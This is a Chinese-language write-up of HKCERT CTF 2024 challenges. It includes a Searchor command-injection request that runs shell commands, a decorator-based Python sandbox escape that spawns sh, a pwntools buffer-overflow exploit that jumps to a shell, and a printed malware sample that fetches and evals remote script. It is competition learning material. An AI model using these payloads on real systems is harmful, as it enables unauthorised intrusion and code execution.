HKCERT CTF 2024 write up
第二次參加HKcert,體驗感拉滿,只能說今年的題,比去年難太多了Orz😵💫
附上今年的戰績
Misc
Get Flag Yourself (50 points)
Mystiz said Go is a great language, so I am learning it now! As ozetta always says, "f___ hollow", I decide to use this to entertain myself with a better coding experience. What a time to be alive!
Attachments:
get-flag-yourself_1f92d57bf1472dcc00b3c5a7c27e18ef.zip
解法
- 先壓縮查看檔案
有一個main.py
from base64 import b64decode
from secrets import token_hex
import subprocess
import os
import sys
import tempfile
FLAG = os.environ["FLAG"] if os.environ.get("FLAG") is not None else "hkcert24{test_flag}"
print("Encode your Go program in base64")
code = input(">> ")
with tempfile.TemporaryDirectory() as td:
fn = token_hex(16)
src = os.path.join(td, f"{fn}")
with open(src+".go", "w") as f:
f.write(b64decode(code).decode())
p = subprocess.run(["./fork", "build", "-o", td, src+".go"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # renamed binary
if p.returncode != 0:
print(r"Fail to build ¯\_(ツ)_/¯")
sys.exit(1)
_ = subprocess.run([src], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if _.returncode == 0:
print(r"You can write Go programs with no bugs, but I cannot give you the flag ¯\_(ツ)_/¯")
sys.exit(1)
if b"panic" in _.stderr:
print("I am calm...")
sys.exit(1)
print(f"You are an experienced Go developer, here's your flag: {FLAG}")
sys.exit(1)
首先,我們需要構造一個go語言代碼,並將其翻譯成base64編碼,輸入到程序中
接著我們再看看如何構造
payload
才能夠繞過那些if
,得到flag
如果运行的返回码为
0
,说明程序运行成功(没有出现错误退出的情况),此时会打印相应提示并退出程序,意味着不会给出FLAG
。如果在标准错误输出中检测到 "panic" 字符串,说明 Go 程序在运行过程中出现了 panic 异常,同样会打印提示信息并退出程序。
哦?那可以通过调用 os.Exit(1) 来直接终止程序的执行,并返回一个非零的退出码(这里是 1)。
payload:
package main
import "os"
func main() {
// 模拟非0的退出码,但避免引发 panic
os.Exit(1)
}
把上面的代碼用CyberChef轉base64, 就能get FLAG
B6ACP (100 points)
Let's embark your cybersecurity journey by becoming a BlackB6a Certified Professional!
Flag at the home folder of the user.
Connection Information
https:
解決
根據step by step提示或許跟 searchor vulnerabilities 已知漏洞有關
搜索searchor找到一篇文章
bp抓包,payload:e=Accuweather&q=1'+)%2b__import__('os').system('id')%20%23
POST / HTTP/2
Host: c10-b6acp-0.hkcert24.pwnable.hk
Content-Length: 17
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: https://c10-b6acp-0.hkcert24.pwnable.hk
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://c10-b6acp-0.hkcert24.pwnable.hk/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
e=Accuweather&q=1'+)%2b__import__('os').system('id')%20%23
boom! =D 拿到shell
了,現在可以get FLAG
題目說在home目錄下,通過查找,最終payload:
e=Accuweather&q=1'+)%2b__import__('os').system('cat%20/home/hkcertuser/local.txt')%20%23
Hearing Check (100 points)
In the following task, you will listen to a recording. Follow the name and the content of the sample file (ACEFHJLM.mid) to complete the task. You now have 30 seconds to familiarize yourself with the task.
(If the sample file does not sound like an Ascending F major scale, consider using another music player.)
Attachments
midi_0cae4078255f3d4d14bf63bc62f09b6a.zip
解決
音頻是MIDI 文件,用python讀取文件音高,action等,發現音頻有note_on, note_off, pitchwheel
三種狀態,搜索pitchwheel音高轮信息进行处理
在 MIDI 协议相关的编程中(比如你提供的代码示例里使用的 mido 库),msg.pitch 是与音高轮(Pitch Wheel)消息相关的一个属性。 当一个 MIDI 消息的类型(msg.type)为 pitchwheel 时,msg.pitch 这个属性就表示了音高轮的当前位置值。它的取值范围通常是在 0 到 16383 之间(对于标准的 14 位音高轮数据)。
爲了回到原來的音高,我們需要將音高轮的值除以 4096,然後乘以音高轮的範圍(pitchwheel_range)。這樣就可以得到音高轮的變化值,然後將這個值加到音符上,就可以得到原來的音符了。
完整exp:
from mido import MidiFile
midifile = 'flag.mid'
note = []
mid = MidiFile(midifile)
pitchwheel_range = 1
current_pitch_change = 0
for i, track in enumerate(mid.tracks):
for msg in track:
print(msg.type)
if msg.type == 'note_on':
adjusted_note = round(msg.note + current_pitch_change)
note.append(adjusted_note)
elif msg.type == 'pitchwheel':
current_pitch_change = (msg.pitch / 4096) * pitchwheel_range
char_list = [chr(int(i)) for i in note]
# print(char_list)
for i in char_list:
print(i,end='')
My Lovely Cats (200 points)
From: Walsh Philip Walsh.philip@example.com
Subject: My Lovely Cats Date: 4 November, 2024
Dear my lovely friend,
Hey there! 🐾 I've put together my absolute favorite cat compilation just for you—handpicked from thousands of adorable cat pics! 😻 And guess what? There's a special flag hidden in the mov file, toooo! 🚩 The kind of flag everyone’s been after! Open it now and claim your flag—don’t wait! 🚀🎯
Yours Truly,
Walsh Philip
Password for unzip: infected
解决
得到一個.mov文件,雙擊運行得到兩個txt文件,010分析一下,发现一个html代码
<HEAD><TITLE>HKCERT 2024 CTF</TITLE>
<SCRIPT>resizeTo(0,0)</SCRIPT>
<SCRIPT>
N="substr";P=(''+''.constructor)[N](10,6);I=(''+{})[N](8,6);W="reverse";Z="split";Y="join";Q="X";S=this;U=S['Active'+Q+I];str=new String();
function atob(b) {
var enc = new U("System.Text.UTF8Encoding");
return enc["Get"+P](new U("System.Security.Cryptography.FromBase64Transform")["TransformFinalBlock"](enc["GetBytes_4"](b), 0, enc["GetByteCount_2"](b)));
}
function sha256(b) {
var enc = new U("System.Text.UTF8Encoding");
var res = "";
for (var i = 0; i < 32; i += 3)
res += enc["Get"+P](
new U("System.Security.Cryptography.ToBase64Transform")["TransformFinalBlock"](
new U("System.Security.Cryptography.SHA256Managed")["ComputeHash_2"](enc["GetBytes_4"](b)),
i,
Math.min(3, 32 - i)));
return res;
}
function main() {return S["lave"[Z](str)[W](1024)[Y](str)](atob("K0gCNoQD7kyco0VKyR3co0VWblCNyATMo01Vblic0NHKdp1WiUmdhxmIbNFIpISPv9SVzQTQvRmeCZ3Zzx2N4VGMSJFTxBncvk1bzZzKFVFOyZ2NxUXRzkFbnJCI90TPgkycoYTNyEGazhCImlGI7UWdsFmVkVGc5RVZk9mbukCMo0WZ0lmLpcycv8yJoMXZk9mT0NWZsV2cu02bkBSPgMHI7kyJ0hHduETZslmZ0NXan9CZ3MmY1QWNmdDZidTO5UGNjVWZ3gDO2YzYjNWZ5YjMyETYhNmNhRWYvcXYy9SYmRjNldTNwM2YlVjY1kjN5UTOwYDMmFGOyU2MzkTZh9yYwsmbhlnbv02bj5CduVGdu92YyV2c1JWdoRXan5Cdzl2Zv8iOzBHd0h2JoQWYvxmLt9GZgsTZzxWYmBSPgMmb5NXYu02bkByOpISTPRETNJCIrASUgsCIi4Cdm92cvJ3Yp1kIoUFI3Vmbg0DIt9GZ"[Z](str)[W](1024)[Y](str)))}
try {
main();
window.close();
} catch (e) {}
</SCRIPT></HEAD>
...
得到一个被reverse然后base64加密字符串,反向解密得到一串代码
dom = new U("Microsoft." + Q + "MLDOM");
dom.async = false;
dom.load('https://gist.githubusercontent.com/nyank0c/ae933e28af060959695b5ecc057e64fa/raw/ada6caa12269eccc66887eec4e997bd7f5d5bc7d/gistfile1.txt');
s = dom.selectNodes('//s').item(0).nodeTypedValue;
if (sha256(s) === "glY3Eu17fr8UE+6soY/rpqLRR0ex7lsgvBzdoA43U/o=")
S["lave"[Z](str)[W](1024)[Y](str)](s);
进入这个网站,拿到flag
<s>
// second stage
var fso = new U("Scripting.FileSystemObject");
var file = fso.OpenTextFile("HKCERT24-CTF-PROOF.txt",2,true,-1);
file.Write( "Congratulations! You have successfully executed the program. 恭喜您!您已成功執行本程式。 Here is the proof: flag{ctf-w4ll-0f-sh4me}" );
// hkcert24{mEow-meOw-me0W-ma1ware}
var file2 = fso.OpenTextFile("EICAR.txt",2,true,-1);
file2.Write(atob("K0gCNoCSrgEJhUETJZULUNVRU1yUVJVSWlEVOFULEJVQE5UQUNVLSF0QJVEJ9dTKDN0Np4FUoQTNYpFUcRzWQFEQlAVIPVDW"[Z](str)[W](1024)[Y](str)));
</s>
Crack the Pack (Ⅰ): Head and Shoulders (200 points)
Crack the Pack (Ⅰ): Head and Shoulders There is nothing more FLAG-tastic than having lots of empty images leaving traces of the secret. Believe it or not, it's up to you.
Series: Crack the Pack Other challenges in this series: 1️⃣ • 2️⃣
Attachments
format-1_3fce3decc9f21d2f479221e5b9b78bb6.zip
查看源码:
<script>
var result = document.getElementById("result");
var flag = document.getElementById("flag");
var encrypt = document.getElementById("encrypt");
var progress = document.getElementById("progress");
encrypt.addEventListener("click", function() {
var ascii_values = flag.value.split("").map(function (c) { return c.charCodeAt(0) });
if (ascii_values.some(function (c) { return c >= 255 })) {
result.textContent = "Only ASCII characters are allowed!";
return;
};
if (ascii_values.length % 3 == 1) {
ascii_values.push(0xd); // just a \r
}
if (ascii_values.length % 3 == 2) {
ascii_values.push(0xa); // just a \n
}
ascii_values.push(0xff);
ascii_values.push(0xff);
ascii_values.push(0xff);
while (ascii_values.length < 960 || ascii_values.length % 3 != 0) {
ascii_values.push(Math.floor(1 + Math.random() * 254));
}
var encrypted = [];
encrypt_flag(ascii_values, encrypted);
});
function encrypt_flag(ascii_values, target) {
progress.style.display = "";
progress.max = ascii_values.length;
function handle_index(index) {
progress.value = index;
var cv = document.createElement("canvas");
cv.width = (ascii_values[index] * 16) + Math.floor(ascii_values[index + 1] / 16);
cv.height = ((ascii_values[index + 1] % 16) * 256) + ascii_values[index + 2];
var temp = cv.toBlob(function(blob) {
var reader = new FileReader();
reader.onloadend = function() {
target.push(new Uint32Array(reader.result.slice(29, 33))[0]);
if (index + 3 < ascii_values.length) {
handle_index(index + 3);
} else {
var processed = [];
process(target, processed);
result.textContent = processed.join("");
progress.style.display = "none";
}
}
reader.readAsArrayBuffer(blob);
});
}
handle_index(0);
}
function process(target, processed) {
var sum = Math.floor(Math.random() * 0xffffffff);
processed.push(sum.toString(16).padStart(8, "0"));
// preserve the links to the previous elements
for (var i = 0; i < target.length; i++) {
sum = (((sum + target[i]) & 0xffffffff) >>> 0);
processed.push(sum.toString(16).padStart(8, "0"));
}
return
processed.sort(
function(a, b) {
return Math.random() - 0.5;
}
);
}
</script>
8ab7d713a49e19c74313f456148f9de946f8c45cef1aab9f81a32bd8f4f7d36825e1946bf3e742949f4681b71bfedca4ca0bf58321a05d559ff12858eb88c4a5f0144feb2f7bd6d84ed0479094455e84683720484dbbd8a35ba774e1f659e2fdc3f1bbcced8181e53d7a550605a28e1692cc2f6931560604618026156f081b88f0c7da4fc47e13c966b23fe347e5e6701953e4e4153dde1dce6a94f93454d5835154686a3b0af9dc067c50d584313872d72501a9825391560592a8022450d2f25074c0fcb1e27a9af9ce638640c2b3dd7a90566f4c7b0385f743e969b74e0c70cdeb7d1b6576ab3c4c532b436a8472599b451d590b9e59cea23a69a801e1c58f6c0f75a9867c27921eaad354fbe904cfc9766e33f5b4af22fcb0f05be0f611f7d5f92f14888fd6b3c1db8571146a202eff4274994db1e10a128cc411cf821fe4b92dba1a045cd8f876bbca0dc1799dbdb0214dab6feaf214c13cc227f32ee768652a2e2861b197987688803ca559c3439c9f48974d56a43a25734ac264a435ecfb25853b9cb1e1c7a6d17ee522c5a197d45cd75ba1f2a78383e8f72cf917d1e4bacc0ee0313020f6d1a9d650f925d5f9b47cf645cac55334183fec4b15769ffacd71ffc0aebbf489afc8a8685cc50c97f5b91084ee5c3055a5163ff3771fff49a1a5e9e9ee02ac1c62f5f88c7871ba4165605ff85f758b9a273289ab60ef99a5102c27d15e60d3fca200f916c6372e44d67a05ee415cca968e32db0495afdfd8cd75dbb021b54a65ae91f87349579c5a0b307ab0a98c329d7a3781b384cd262ea6cbbbee6622f1bf3c46aa64df3cbb3c96f2c13a900164e1bc63008dd60fd5546b528cb450b1d8a447342844e7da7a1dd5bbd50f5637b6d884171a361a567058941d0a623232468a822f9312abf58eb1c7313060ef69c46b4c7ed7eac38eaaa8acb88478b1a6136739946085bdaac4964c772edb37ad6776bdc68ba5485685b4eae9a4a448b1ba45cef8dba03861049764eea4e442e75a92444e566139b096283b568d7274751e0d1e3cb7218db631dd06276b478616fa4525354c3b325ef5c0014fc0cccd52d30debc6c736627b26135bae314b076a4e805132a94018c46fff5ef7dcc407c0472433cff7794c9d7bc3b86b0d12ff78cec806f0b29feaebe0bac8275803abcdcdc2a9cc5fc22729d79be4e62735095d288f8ed468ec9128a328ea03cd151f6fd4371bba8be03f89852cf9e5631d0c97fc177e511e4745e84b912d926ddef21f0de537b15851ae7c0f3cdbb5cd7ad4632664d23c2375e2bde22d2b2943e87c6accd79a54f8ab971e5d8c591463325dea2045b7a5b0032bc0cd04f4a267a4e6aff6433c041abb6cce1c382d1e92f3e9f49e75e8802561bbf302cd3f0e697053e480f21b68776dbd4251dc2165e1c9ef5afc758f6946771a9ba1773c49b930fe5e50cc8da73bd0e1f09794b2b7baa7cd4d16b2352fb926a5548d19db46033cfc83d0d2ddb1facafddd46cfea7b02678939025140103237af46aab1b5499f26d418fda8687f33cc30c0b65664224cb7b8356e7349f0d4e7f12fe7227bc73694f5e556ac8cb2faf502cfc69eaac03cfb4e881152d4abdbf041006189119f8c246dfbe3536b2cb22d6cd7b45688c08fe6994a4d2f7e9556c6e0ac5f4f1eb05c8d0bcfc81c082a13924eb60143d0129125e60eaf1f65235da448dcbf89eddf508c2057488caa55514579953c993c2d096d06962e9144133c48bc65733cabaa6537df61a2a575bf15ed5144bb936279c64f0910331e5d30c3739ea9178e70c1f794
我们得出以下结论:
- 字符串转换
- 首先读取flag中的内容,并将每个字符转换为ASCII值,得到
ascii_values
数组
- 首先读取flag中的内容,并将每个字符转换为ASCII值,得到
- 填充
- 如果
ascii_values
数组的长度是3的倍数,填充\r(0xd)或\n(0xa) - 添加三个
0xff
- 接着又随机填充(每次生成1-254之间的随机数)直到数组长度
len(ascii_values)>=960 & len(ascii_values)%3==0
- 如果
- 加密
- 通过
handle_index
函数循环处理每三个ASCII
值,计算一个canvas
的宽和高,并使用toBlob方法生成一个blob
对象 - 使用
FilerReader
读取Blob
数据,并提取32位整数(通过Unit32Array
) - 将提取的整数添加到
target
数组中
- 通过
- 加密结果处理
- 初始化一个随机
sum
值,迭代target
数组中的每个值,与sum
相加并确保结果保持在32位范围内。=> 这个randomsum的初始值可以从output中尝试:0x8ab7d713 - 再转化为16进制字符串,加到
processed
数组中 - 最后将
processed
数组随机排序 - output = sum + target[0] + target[1] + ... + target[n]
- 初始化一个随机
解決
根据以上代码分析,加密过程,我们可以通过穷举 ascii_dict
中所有可打印字符的组合,尝试找出正确的 flag
字符串
exp:
import struct
import zlib
import tqdm
dataall = open('output','r').read()
dataall = [dataall[i:i+8] for i in range(0, len(dataall), 8)]
def calculate_png_crc(width, height):
width_bytes = struct.pack(">I", width)
height_bytes = struct.pack(">I", height)
ihdr_data = b"IHDR" + width_bytes + height_bytes + b"\x08\x06\x00\x00\x00"
ihdr_crc = zlib.crc32(ihdr_data) & 0xffffffff
# 大小端转换
ihdr_crc = ((ihdr_crc & 0xff) << 24) | ((ihdr_crc & 0xff00) << 8) | ((ihdr_crc & 0xff0000) >> 8) | ((ihdr_crc & 0xff000000) >> 24)
return ihdr_crc
# 将每三个值(即一个字符)处理成 width 和 height,并计算相应的 CRC 值(类似于图像的尺寸信息)。这些 CRC 值组成了加密后的数据 target
def encrypt_flag(ascii_values):
target = []
for i in range(0, len(ascii_values), 3):
a, b, c = ascii_values[i:i+3]
width = (a * 16) + (b // 16)
height = ((b % 16) * 256) + c
crc_value = calculate_png_crc(width, height)
target.append(crc_value)
# print(f"Triplet: ({a}, {b}, {c}) -> Width: {width}, Height: {height}, CRC: {crc_value} {hex(crc_value)}")
return target
import string
def padFlag(str1):
if len(str1) % 3 ==1:
str1 += '\r'
if len(str1) % 3 ==2:
str1 += '\n'
return str1
ascii_dict = string.printable
# flag = ""
def judger(flag):
RandomSum = 0x8ab7d713
data = [flag[i:i+3] for i in range(0, len(flag), 3)]
# print(data)
encrypt_data=encrypt_flag([ord(c) for c in flag])
# print(encrypt_data)
enc2 = []
for i in range(len(encrypt_data)):
RandomSum = (RandomSum + encrypt_data[i]) & 0xffffffff
enc2.append(RandomSum)
enc2 = [hex(i)[2:].zfill(8) for i in enc2]
# print(enc2)
for i in enc2:
# 如果所有i都在data中,说明flag正确
if i not in dataall:
# print(i)
return False
print(flag)
return True
# flag1 = "hkcert24{to0_3azy?_7h4nk_y0ur_br0w53r_4_n0_64k_p1c5_5upp0"
flag1 = "hkcert24{"
for c1 in tqdm.tqdm(ascii_dict):
for c2 in ascii_dict:
for c3 in ascii_dict:
flag =flag1 + c1 + c2 + c3
flag =padFlag(flag)
# print(flag)
flag_ascii = [ord(c) for c in flag]
encrypted_data = encrypt_flag(flag_ascii)
if(judger(flag)):
print(flag)
break
Python Calculator 2 (400 points)
Someone told me that the Python calculator challenge from the HKCERT training platform is too easy. Let's have a whitelisting and blacklisting.
Attachments
python-calculator-2_55822d5da2cbf770d1feee3b5276bf5e.zip
Connection Information
ncat --ssl c57-python-calculator-2.hkcert24.pwnable.hk 1337
这题之前在HKCERT的训练平台上出现过,但是这次有了白名单和黑名单,所以不能直接执行系统命令了。查找了许多pyjail的文章 123setattrdecorator
# 以下功能函数直接被删除
func_blacklist = [
"__spec__",
"__import__",
"__loader__",
"compile",
"copyright",
"credits",
"eval",
"exec",
"help",
"breakpoint",
"license",
"open",
"input",
"type",
"vars",
"delattr",
"getattr",
"setattr",
"super",
"object",
"globals",
]
...
# 白名单
charset = string.ascii_letters + string.digits + "\"'+-*/^:.@ \r\n"
...
user_input = (
"""
for _func in func_blacklist:
globals()['__builtins__'].__dict__.pop(_func)
'''------line_break--------'''
"""
+ user_input
)
解決
只能是用Python 装饰器(@decorator)机制和某些奇特的逻辑结构来进行绕过
起初是先尝试不管白名单,先构造出一个可以执行系统命令的payload
# 通过查找os
search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
print(i)
# <class 'os._wrap_close'> 133
().__class__.__base__.__subclasses__()[133].__init__.__globals__['system']('cat flag.txt')
构造payload,发现白名单并没有'_',如果构造装饰器,装饰器执行不了__subclasses__()
,有能够直接访问到sys的继承串吗?直接得到os
,陷入沉思,又搜索了相关文章,问了GPT
因为环境是python3.11,或许可以通过异常来获取一些继承链上的东西
首先使用了类定义装饰器来构造'_{}'
@chr
@lambda x : 95
class ul:
pass
# chr(95) = '_'
@chr
@lambda x : 123
class lb:
pass
# chr(123) = '{'
@chr
@lambda x : 125
class rb:
pass
# chr(125) = '}'
尝试通过 @fstr.format 装饰器格式化类 res,但由于 fstr.format 是一个字符串格式化操作,并且没有明确的实现细节,这部分代码会抛出异常。
@payload.format 装饰器的应用会抛出异常(字符串格式化中的某些元素无法正确处理),进入 except 块。
在 except 块中,异常处理尝试通过 e.obj.get 来访问异常对象的属性。然后定义了 os 类并执行了 os.system('sh'),最终启动一个 shell。
payload = '''
@chr
@lambda x: 95
class dash:pass
@chr
@lambda x: 123
class l:pass
@chr
@lambda x: 125
class r:pass
@str
@lambda x: l+"0."+dash+"re.enum.sys.modules"+".b"+r
class payload:pass
# "{0._re.enum.sys.modules.b}"
try:
@payload.format
@lambda x:string
class x:pass
except Exception as e:
@e.obj.get
@lambda x:'os'
class os:pass
@os.system
@lambda x:'sh'
class x:pass
'''
Forensics
Cook book (250 points)
Attachments
cook-book_36d6d5166b707209aa9c2d74d3b64d71.zip
解決
使用GIMP软件,以把flag.enc以data格式读入
长宽随便调整1024*1024
最后会保存为.xcf格式.xcf
pwn
ChatGGT (1) (100 points)
The current trend is dominated by AI, so it's time to have fun with my AI chatbot(prototype)!
Note: There is a step-by-step guide to the challenge.
Series: ChatGGT Other challenges in this series (not dependent on each other, start with the one you like): 1️⃣ • 2️⃣
Attachments
chatggt_276cb471c623636b969de53bec682bb7.zip
Connection Information
ncat --ssl c64-chatggt.hkcert24.pwnable.hk 1337
解決
根据Step-by-step guide, 我们需要知道<distance between the buffer ``question`` and the return address>
,以及<address of the ``get_shell`` function + 5>
我们可以通过gdb
来查看question
和get_shell
的地址
(gdb) info functions get_shell
All functions matching regular expression "get_shell":
Non-debugging symbols:
0x00000000004011f6 get_shell
(gdb) break start_chat
Note: breakpoint 1 also set at pc 0x401287.
Breakpoint 2 at 0x401287
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/princess/Desktop/item/hkcert24/chal
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
>>>ChatGGT 1.0<<<
Breakpoint 1, 0x0000000000401287 in start_chat ()
(gdb) x/40gx $rsp
0x7fffffffddb0: 0x00007fffffffddc0 0x000000000040132c
0x7fffffffddc0: 0x0000000000000001 0x00007ffff7de7dba
0x7fffffffddd0: 0x00007fffffffdec0 0x0000000000401301
0x7fffffffdde0: 0x0000000100400040 0x00007fffffffded8
0x7fffffffddf0: 0x00007fffffffded8 0x0f1d5c5287f96e37
0x7fffffffde00: 0x0000000000000000 0x00007fffffffdee8
0x7fffffffde10: 0x00007ffff7ffd000 0x0000000000403e18
0x7fffffffde20: 0xf0e2a3ad3c5b6e37 0xf0e2b3ee7d1f6e37
0x7fffffffde30: 0x0000000000000000 0x0000000000000000
0x7fffffffde40: 0x0000000000000000 0x00007fffffffded8
0x7fffffffde50: 0x0000000000000001 0x4bd72b09affb5500
0x7fffffffde60: 0x00007fffffffded0 0x00007ffff7de7e75
0x7fffffffde70: 0x0000000000401301 0x0000000000403e18
0x7fffffffde80: 0x00007ffff7ffe2e0 0x0000000000000000
0x7fffffffde90: 0x0000000000000000 0x0000000000401110
0x7fffffffdea0: 0x00007fffffffded0 0x0000000000000000
0x7fffffffdeb0: 0x0000000000000000 0x0000000000401135
0x7fffffffdec0: 0x00007fffffffdec8 0x0000000000000038
0x7fffffffded0: 0x0000000000000001 0x00007fffffffe22e
0x7fffffffdee0: 0x0000000000000000 0x00007fffffffe258
Step 1:确定返回地址的偏移量
从GDB堆栈转储中,我们可以观察到大致的结构:
- 缓冲区( question )是 256 字节。
- 返回地址可能位于 256 字节的缓冲区数据加上一些用于填充的附加字节之后,与典型的堆栈布局对齐。
Step 2:获取get_shell的地址
From the GDB output:
0x00000000004011f6 get_shell
get_shell的地址是0x4011f6 。由于我们正在执行跳转,因此添加偏移量 5 ( 0x4011f6 + 5 = 0x4011fb ) 有助于跳过函数序言并避免get_shell中的设置开销。
Step 3: Build the Exploit Code
from pwn import *
io = remote("c64-chatggt.hkcert24.pwnable.hk", 1337, ssl=True) # connect to the remote server
# Wait for the server's prompt to input a response
io.recvuntil("Question (Input EXIT to leave the chat):")
# Construct the payload
# Offset to reach the return address + address of `get_shell` with an offset of 5 to skip function prologue
payload = b"a" * 264
payload += p64(0x4011fb) # Address of `get_shell` + 5
# Send the payload to overwrite the return address
io.send(payload)
# Wait for the server's prompt to exit the chat
io.recvuntil("Question (Input EXIT to leave the chat):")
io.send("EXIT") # Input "EXIT" to leave the function
# Program should now jump to `get_shell`
io.interactive() # Open an interactive session to get the shell